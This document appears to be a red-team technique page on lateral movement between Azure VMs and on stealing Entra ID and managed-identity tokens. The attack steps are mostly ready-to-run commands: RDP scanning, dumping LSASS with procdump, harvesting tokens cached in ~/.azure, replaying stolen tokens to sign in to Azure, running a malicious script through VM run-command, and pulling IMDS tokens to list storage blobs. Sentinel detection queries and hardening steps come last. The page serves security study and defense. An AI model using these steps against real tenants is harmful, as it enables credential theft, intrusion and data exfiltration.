| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-007 |
| MITRE ATT&CK v18.1 | T1021 - Remote Services |
| Tactic | Lateral Movement |
| Platforms | Entra ID / Azure |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure VM editions (Windows Server 2016-2025, Linux) |
| Patched In | N/A (Technique remains active; mitigations apply) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure VM-to-VM lateral movement exploits networking misconfigurations and credential theft within Azure environments. Unlike on-premises networks, Azure uses Network Security Groups (NSGs) as the primary segmentation mechanism. Many organizations deploy VMs with overly permissive NSG rules (e.g., “Allow All” inbound on port 3389 from internal subnets), enabling attackers to hop between VMs using RDP, SSH, or custom tools. Additionally, if an attacker compromises a VM and obtains a Primary Refresh Token (PRT)—a token cached by Entra ID-joined devices—they can escalate to tenant-level access. The combination of weak NSG rules, cached credentials in ~/.azure/ directories, and PRT theft creates a direct path from single VM compromise to domain controller-level access.
Attack Surface:
Business Impact: Enables rapid escalation from single compromised VM to control of Azure subscription. Once an attacker moves between VMs and obtains PRT tokens or managed identity credentials, they can authenticate to Azure Resource Manager, modify infrastructure (add users, create backdoors), exfiltrate data from storage accounts, and establish persistence. Typical impact includes subscription takeover, data theft, and resource destruction.
Technical Context: Azure VM-to-VM lateral movement is fast—attackers can compromise 5-10 VMs in under 1 hour given weak NSG rules. Detection is challenging because all activity uses legitimate Azure protocols and services. The primary detection vector is NSG flow logs showing lateral traffic; however, many organizations do not enable flow logging or do not monitor it actively. Stealth can be achieved by using legitimate cloud credentials, which appear indistinguishable from authorized administrative activity.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 6.5 | Network Security Groups and subnets configuration |
| DISA STIG | SRG-APP-000516 | Application Communication Security (Network Isolation) |
| CISA SCuBA | SC.L1-3.3.6 | Network Isolation and Segmentation |
| NIST 800-53 | AC-3, AC-4, SI-4 | Access Enforcement, Information Flow Enforcement, System Monitoring |
| GDPR | Art. 32 | Security of Processing - Network segmentation |
| DORA | Art. 10 | Incident Handling and Response (Network-level incidents) |
| NIS2 | Art. 21 | Cyber Risk Management - Network monitoring and alerting |
| ISO 27001 | A.13.1.1, A.9.1.2 | Network Segmentation, Access Control Policy |
| ISO 27005 | § 4.4.1 | Risk Analysis – Network access control failure |
Supported Versions:
Tools:
# Connect to Azure subscription
Connect-AzAccount
# Enumerate VMs in current subscription
Get-AzVM | Select-Object Name, ResourceGroupName, ProvisioningState, FullyQualifiedDomainName
# Check NSG rules for each VM
$vm = Get-AzVM -Name "TargetVM"
$nsg = Get-AzNetworkSecurityGroup -ResourceGroupName $vm.ResourceGroupName
$nsg | Get-AzNetworkSecurityRuleConfig | Select-Object Name, Protocol, DestinationPortRange, Access, Direction
# Check if VM is Entra ID-joined
Get-AzADDevice -DisplayName "DESKTOP-ABC123" | Select-Object DisplayName, EntraID, ApproximateLastSigninDateTime
# List managed identities assigned to VM
(Get-AzVM -Name "TargetVM" -ResourceGroupName "RG1").Identity | Select-Object Type, PrincipalId
What to Look For:
Version Note: Behavior identical across all Azure subscription types (EA, PAYG, CSP)
# Login to Azure
az login
# List all VMs in subscription
az vm list --query "[].{Name:name, ResourceGroup:resourceGroup, OSType:storageProfile.osDisk.osType}"
# Enumerate NSG rules for a VM
az network nsg rule list --resource-group "ResourceGroup1" --nsg-name "VM-NSG" --query "[].{Name:name, Protocol:protocol, DestinationPort:destinationPortRange, Access:access, Direction:direction}"
# Check network interfaces for VM
az network nic list --resource-group "ResourceGroup1" --query "[].{Name:name, PrivateIP:ipConfigurations[0].privateIpAddress}"
# List storage accounts accessible from VM (via managed identity)
az storage account list --resource-group "ResourceGroup1" --query "[].{Name:name, AccessTier:accessTier}"
What to Look For:
Supported Versions: All Windows Server editions in Azure
Objective: Determine which VMs are reachable from compromised VM
Command:
# From compromised VM, test RDP connectivity to other VMs
$targetVMs = @("10.0.1.5", "10.0.2.10", "10.0.3.15")
foreach ($ip in $targetVMs) {
$result = Test-NetConnection -ComputerName $ip -Port 3389 -WarningAction SilentlyContinue
Write-Host "VM $ip RDP: $($result.TcpTestSucceeded)"
}
# Expected output:
# VM 10.0.1.5 RDP: True
# VM 10.0.2.10 RDP: True
# VM 10.0.3.15 RDP: False
Expected Output:
ComputerName : 10.0.1.5
RemoteAddress : 10.0.1.5
RemotePort : 3389
TcpTestSucceeded : True
ComputerName : 10.0.2.10
RemoteAddress : 10.0.2.10
RemotePort : 3389
TcpTestSucceeded : True
ComputerName : 10.0.3.15
RemoteAddress : 10.0.3.15
RemotePort : 3389
TcpTestSucceeded : False
What This Means:
OpSec & Evasion:
Objective: Establish RDP session on target VM using valid credentials
Command:
# Connect to remote VM via RDP using credentials
$credential = Get-Credential
$rdpSession = New-PSSession -ComputerName 10.0.1.5 -Credential $credential
# Enter interactive RDP session
Enter-PSSession $rdpSession
# Or use direct RDP connection with mstsc.exe
mstsc.exe /v:10.0.1.5 /admin /u:contoso\administrator /p:PASSWORD
Expected Output (PSSession):
[10.0.1.5]: PS C:\Users\Administrator\Documents>
Expected Output (RDP):
Remote Desktop Connection established
(GUI window shows remote desktop)
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-AzNetworkSecurityRuleConfig -NSG $nsg | Where DestinationPort -like "*3389*"Objective: Chain lateral movement across multiple VMs
Command:
# Extract credentials from target VM and use for next hop
# Dump SAM or LSASS from compromised VM
whoami # Verify privilege level
# If SYSTEM, can dump LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Use extracted hash for Pass-the-Hash attack on next VM
# (Requires specific AD setup; alternative: collect plaintext if stored)
# Move to next VM
mstsc.exe /v:10.0.2.10 /u:domain\extracted_user /p:extracted_password
What This Means:
Supported Versions: Windows 10+, Server 2019+ with Entra ID join
Objective: Obtain Primary Refresh Token from compromised Entra ID-joined VM
Command:
# Check if VM is Entra ID-joined
dsregcmd /status
# Look for "AzureADJoined: YES"
# Extract PRT token from system (requires SYSTEM or admin context)
# Using AADInternals or custom tools
$cert = Get-Item "Cert:\CurrentUser\My\*" | Where-Object { $_.Subject -match "PRT" }
# If no direct PRT access, extract cached tokens from ~/.azure directory
Get-ChildItem "$env:USERPROFILE\.azure" -Recurse -File | Select-Object FullName
# Look for: accessTokens.json, graph_token, arm_token files
# Extract and decode token
$token = Get-Content "$env:USERPROFILE\.azure\accessTokens.json" | ConvertFrom-Json
$decodedToken = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($token.accessToken.Split('.')[1] + '=='))
$decodedToken | ConvertFrom-Json # Displays token claims
Expected Output:
AzureADJoined: YES
EnterpriseJoined: NO
DeviceId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
KeySignTest: PASSED
Token Claims (Decoded):
{
"aud": "https://management.azure.com",
"iss": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
"iat": 1234567890,
"nbf": 1234567890,
"exp": 1234571490,
"sub": "user@contoso.com",
"upn": "user@contoso.com",
"oid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"roles": ["Owner", "Contributor"]
}
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Access Azure subscription using stolen PRT token
Command:
# Use extracted token to login to Azure
$token = @{
access_token = "eyJ0eXAi..." # Token from Step 1
refresh_token = "0.Axxx..." # Refresh token from ~/.azure
token_type = "Bearer"
}
# Connect to Azure using token
Connect-AzAccount -AccessToken $token.access_token -RefreshToken $token.refresh_token -TenantId "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Verify authenticated context
Get-AzContext | Select-Object Account, Subscription, Tenant
# Enumerate accessible resources
Get-AzVM | Select-Object Name, ResourceGroupName
Get-AzStorageAccount | Select-Object StorageAccountName, Location
Expected Output:
Name : User@contoso.com
Account : User@contoso.com
SubscriptionName : Production-Subscription
TenantId : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name ResourceGroupName ResourceType Location
---- ----------------- ---------- --------
WebServer Production-RG Microsoft.Compute/virtualMachines eastus
Database Production-RG Microsoft.Compute/virtualMachines eastus
What This Means:
OpSec & Evasion:
Objective: Use elevated Azure access to compromise additional infrastructure
Command:
# List all subscriptions accessible to authenticated account
Get-AzSubscription | Select-Object Name, SubscriptionId
# Switch to different subscription
Select-AzSubscription -SubscriptionId "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Enumerate VMs in target subscription
Get-AzVM -ResourceGroupName "Production-RG" | Select-Object Name, ProvisioningState
# Execute command on VM using Entra ID authentication (if VM has AADLoginForWindows extension)
$vm = Get-AzVM -Name "TargetVM" -ResourceGroupName "Production-RG"
Invoke-AzVMRunCommand -ResourceId $vm.Id -CommandId 'RunPowerShellScript' -ScriptPath 'C:\malicious.ps1'
Expected Output:
Name SubscriptionName
---- ----------------
Production-Subscription Production
Development-Subscription Development
Shared-Services-Subscription Shared Services
Value
-----
$ProgressPreference = 'SilentlyContinue'; $result = Invoke-Expression 'whoami'; $result
CONTOSO\Administrator
What This Means:
Supported Versions: All Azure VMs with system-assigned managed identity
Objective: Identify which managed identities are assigned to VMs and their permissions
Command:
# From compromised VM, check assigned managed identity
$response = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} -UseBasicParsing
$token = $response.access_token
# Decode token to see identity details
$parts = $token.Split('.')
$payload = $parts[1]
# Add padding if needed
while ($payload.Length % 4) { $payload += '=' }
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload))
$decoded | ConvertFrom-Json
Expected Output:
{
"aud": "https://management.azure.com/",
"iss": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
"iat": 1234567890,
"nbf": 1234567890,
"exp": 1234571490,
"appid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"appidacr": "2",
"identityProvider": "https://sts.windows.net/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/",
"oid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"sub": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"tid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"uti": "token_identifier",
"ver": "1.0"
}
What This Means:
OpSec & Evasion:
Objective: Authenticate to other Azure services using managed identity
Command:
# Use managed identity token for Azure Resource Manager
$mgmtToken = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://management.azure.com/" `
-Headers @{Metadata="true"} -UseBasicParsing
# Get token for Storage Account
$storageToken = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://storage.azure.com/" `
-Headers @{Metadata="true"} -UseBasicParsing
# Access storage account using managed identity token
$storageAccountName = "productiondata"
$containerName = "sensitive-data"
$uri = "https://$storageAccountName.blob.core.windows.net/$containerName?restype=container&comp=list"
$response = Invoke-RestMethod -Uri $uri -Headers @{"Authorization"="Bearer $($storageToken.access_token)"} -UseBasicParsing
$response.Blobs.Blob | Select-Object Name, LastModified, Size
Expected Output:
Name LastModified Size
---- ----------- ----
customer_data.csv 2026-01-09T14:32:00Z 5242880
employee_salaries.xlsx 2026-01-08T10:15:00Z 1048576
database_backup.bak 2026-01-07T22:45:00Z 1073741824
What This Means:
OpSec & Evasion:
Supported Versions: Server 2019+
Invoke-AtomicTest T1021.001 -TestNumbers 1
- **Cleanup:**
```powershell
Invoke-AtomicTest T1021.001 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team - T1021
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4624 // Successful logon
| where LogonType == 10 // RDP logon type
| where IpAddress startswith "10." or IpAddress startswith "172.16." or IpAddress startswith "192.168."
| extend SourceVM = extract(@"([A-Z0-9\-]+)", 1, Computer)
| extend TargetVM = extract(@"([A-Z0-9\-]+)", 1, Computer)
| where SourceVM != TargetVM
| summarize LogonCount = count() by TargetComputer = Computer, Account_Name, SourceIpAddress = IpAddress, TimeWindow = bin(TimeGenerated, 5m)
| where LogonCount > 2
| project-reorder TargetComputer, Account_Name, LogonCount, SourceIpAddress
What This Detects:
Manual Configuration Steps:
Lateral Movement - RDP HoppingHigh5 minutesRule Configuration:
KQL Query:
SigninLogs
| where Status.errorCode == 0 // Successful signin
| where DeviceDetail.operatingSystem has "Windows"
| extend Location = LocationDetails.city
| summarize SigninCount = count(), Locations = make_set(Location) by UserPrincipalName, IPAddress
| where SigninCount > 3
| where Locations !has_all ("Primary Location", "Expected Location")
| project-reorder UserPrincipalName, SigninCount, IPAddress, Locations
What This Detects:
Event ID: 4624 (Successful Logon)
Manual Configuration Steps:
gpupdate /forceEvent ID: 4688 (Process Creation)
Implement Network Segmentation (NSGs):
Applies To Versions: All Azure VM editions
Manual Steps (Azure Portal):
Manual Steps (Azure CLI):
# Create restrictive NSG
az network nsg create --resource-group "RG1" --name "Restrictive-NSG"
# Deny all inbound by default
az network nsg rule create --resource-group "RG1" --nsg-name "Restrictive-NSG" `
--name "DenyAllInbound" --priority 4096 --direction Inbound --access Deny `
--protocol '*' --source-address-prefix '*' --destination-address-prefix '*'
# Allow RDP only from Bastion
az network nsg rule create --resource-group "RG1" --nsg-name "Restrictive-NSG" `
--name "AllowRDPFromBastion" --priority 100 --direction Inbound --access Allow `
--protocol Tcp --source-address-prefix "10.0.0.0/24" --destination-port-ranges 3389
# Apply NSG to VM NIC
az network nic update --resource-group "RG1" --name "VM-NIC" `
--network-security-group "Restrictive-NSG"
Disable or Restrict RDP/SSH on VMs:
Applies To Versions: Windows Server 2016+
Manual Steps (Windows Firewall):
# Disable inbound RDP on Windows VM
Set-NetFirewallRule -DisplayName "Remote Desktop - User Mode (TCP-In)" -Enabled False
# Or block RDP at network adapter level
New-NetFirewallRule -DisplayName "Block Inbound RDP" -Direction Inbound -Action Block `
-Protocol TCP -LocalPort 3389
Manual Steps (Linux UFW):
# Disable SSH or restrict to specific IPs
sudo ufw deny 22 # Block all SSH
sudo ufw allow from 10.0.0.10 to any port 22 # Allow only from jump box
Enable Azure Bastion for RDP/SSH Access:
Applies To Versions: All
Manual Steps (Azure Portal):
AzureBastionSubnet, Address space: 10.0.255.0/24Restrict Managed Identity Permissions:
Applies To Versions: All
Manual Steps (Azure Portal):
Reader (read-only access to resources)Storage Blob Data Reader (access only to storage blobs, not containers)Azure Service Bus Data Receiver (messaging only)Enable MFA on All Azure Accounts:
Applies To Versions: All
Manual Steps (Entra ID Conditional Access):
Require MFA for All UsersMonitor and Audit NSG Flow Logs:
Applies To Versions: All
Manual Steps (Azure Portal):
# Verify restrictive NSG rules
Get-AzNetworkSecurityGroup -ResourceGroupName "RG1" -Name "Restrictive-NSG" |
Get-AzNetworkSecurityRuleConfig | Select-Object Name, Access, Direction, Priority
# Verify Bastion is deployed
Get-AzBastionHost -ResourceGroupName "RG1" | Select-Object Name, ProvisioningState
# Verify managed identity roles are minimal
(Get-AzVM -Name "TargetVM" -ResourceGroupName "RG1").Identity.PrincipalId |
Get-AzRoleAssignment | Select-Object RoleDefinitionName, Scope
# Verify RDP is disabled on Windows VMs
Get-NetFirewallRule -DisplayName "*Remote Desktop*" | Select-Object Name, Enabled
Expected Output (If Secure):
Name Access Direction Priority
---- ------ --------- --------
AllowRDPFromBastion Allow Inbound 100
DenyAllInbound Deny Inbound 4096
RoleDefinitionName Scope
------------------ -----
Reader /subscriptions/...
Storage Blob Data Reader /subscriptions/.../storageAccounts/...
Name Enabled
---- -------
Remote Desktop - TCP-In False
Remote Desktop - UDP-In False
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-005] AKS Control Plane RCE | Attacker exploits misconfigured Kubernetes cluster to gain initial access |
| 2 | Credential Access | [CA-DUMP-005] Managed Identity Token Theft | Extract PRT or managed identity tokens from compromised VM |
| 3 | Current Step | [LM-REMOTE-007] | Lateral movement to other Azure VMs using stolen credentials or NSG misconfiguration |
| 4 | Privilege Escalation | [PRIV-AZURE-001] Entra ID Role Escalation | Use PRT to grant self Owner role in subscription |
| 5 | Persistence | [PERSIST-AZURE-002] Service Principal Backdoor | Create persistent backdoor service principal with Owner rights |
| 6 | Impact | [IMPACT-CLOUD-001] Data Exfiltration via Storage | Exfiltrate sensitive data from storage accounts using managed identity |
curl to get managed identity token from metadata service